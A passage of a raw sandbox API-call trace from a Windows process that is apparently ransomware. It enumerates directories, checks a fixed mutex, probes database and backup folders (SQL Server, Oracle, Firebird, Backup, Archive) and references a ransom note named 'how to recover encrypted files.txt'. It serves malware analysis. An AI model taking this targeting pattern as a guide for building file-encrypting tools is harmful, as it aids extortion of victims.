cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.894] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\bg-BG\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0045.894] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.894] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.894] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.894] GlobalUnlock (hMem=0x44000c) returned 0 [0045.894] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.894] GlobalLock (hMem=0x440004) returned 0x553188 [0045.894] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.894] GlobalUnlock (hMem=0x44000c) returned 0 [0045.894] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.894] GlobalUnlock (hMem=0x440004) returned 0 [0045.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.894] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.894] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.894] GlobalLock (hMem=0x440004) returned 0x551178 [0045.894] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.895] GlobalUnlock (hMem=0x440004) returned 0 [0045.895] GlobalLock (hMem=0x440004) returned 0x551178 [0045.895] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.895] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.895] GlobalUnlock (hMem=0x440004) returned 0 [0045.895] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.895] GlobalUnlock (hMem=0x44000c) returned 0 [0045.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.895] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.895] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.895] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.895] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.895] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.895] GlobalUnlock (hMem=0x44000c) returned 0 [0045.895] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.895] GlobalLock (hMem=0x440004) returned 0x554190 [0045.895] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.895] GlobalUnlock (hMem=0x44000c) returned 0 [0045.895] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.895] GlobalUnlock (hMem=0x440004) returned 0 [0045.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.895] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.895] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.895] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.895] GlobalLock (hMem=0x440004) returned 0x552180 [0045.895] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.895] GlobalUnlock (hMem=0x440004) returned 0 [0045.895] GlobalLock (hMem=0x440004) returned 0x552180 [0045.895] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.895] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.895] GlobalUnlock (hMem=0x440004) returned 0 [0045.895] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.895] GlobalUnlock (hMem=0x44000c) returned 0 [0045.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.896] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.896] GetLastError () returned 0x12 [0045.896] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.896] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.896] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.896] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.896] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.896] GlobalUnlock (hMem=0x44000c) returned 0 [0045.896] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.896] GlobalLock (hMem=0x440004) returned 0x553188 [0045.896] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.896] GlobalUnlock (hMem=0x44000c) returned 0 [0045.896] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.896] GlobalUnlock (hMem=0x440004) returned 0 [0045.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.896] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0045.896] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.896] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.896] GlobalLock (hMem=0x440004) returned 0x551178 [0045.896] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.896] GlobalUnlock (hMem=0x440004) returned 0 [0045.896] GlobalLock (hMem=0x440004) returned 0x551178 [0045.896] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.896] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.896] GlobalUnlock (hMem=0x440004) returned 0 [0045.896] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.896] GlobalUnlock (hMem=0x44000c) returned 0 [0045.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.896] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0045.896] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.897] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.897] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.897] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.897] GlobalUnlock (hMem=0x44000c) returned 0 [0045.897] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.897] GlobalLock (hMem=0x440004) returned 0x553188 [0045.897] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.897] GlobalUnlock (hMem=0x44000c) returned 0 [0045.897] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.897] GlobalUnlock (hMem=0x440004) returned 0 [0045.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.897] GlobalLock (hMem=0x440004) returned 0x551178 [0045.897] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.897] GlobalUnlock (hMem=0x440004) returned 0 [0045.897] GlobalLock (hMem=0x440004) returned 0x551178 [0045.897] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.897] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.897] GlobalUnlock (hMem=0x440004) returned 0 [0045.897] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.897] GlobalUnlock (hMem=0x44000c) returned 0 [0045.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.897] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned 1 [0045.897] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.897] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.898] GlobalUnlock (hMem=0x44000c) returned 0 [0045.898] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.898] GlobalLock (hMem=0x440004) returned 0x553188 [0045.898] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.898] GlobalUnlock (hMem=0x44000c) returned 0 [0045.898] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.898] GlobalUnlock (hMem=0x440004) returned 0 [0045.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@뽺R뽎R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0045.898] GetLastError () returned 0x3 [0045.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0045.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@뻜R企@\x18권Q\x181")) returned 0xffffffff [0045.899] GetLastError () returned 0x2 [0045.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@ꜤR企@\x18?T\x18;")) returned 0xffffffff [0045.900] GetLastError () returned 0x2 [0045.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18D")) returned 0xffffffff [0045.901] GetLastError () returned 0x2 [0045.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0045.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@뻜R企@\x18ꜤR\x18j")) returned 0xffffffff [0045.902] GetLastError () returned 0x2 [0045.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0045.902] GetLastError () returned 0x2 [0045.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\꜠R°") returned 6 [0045.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@ꐬR企@\x18?T\x18y")) returned 0xffffffff [0045.903] GetLastError () returned 0x2 [0045.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0045.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0045.903] GetLastError () returned 0x2 [0045.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0045.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, 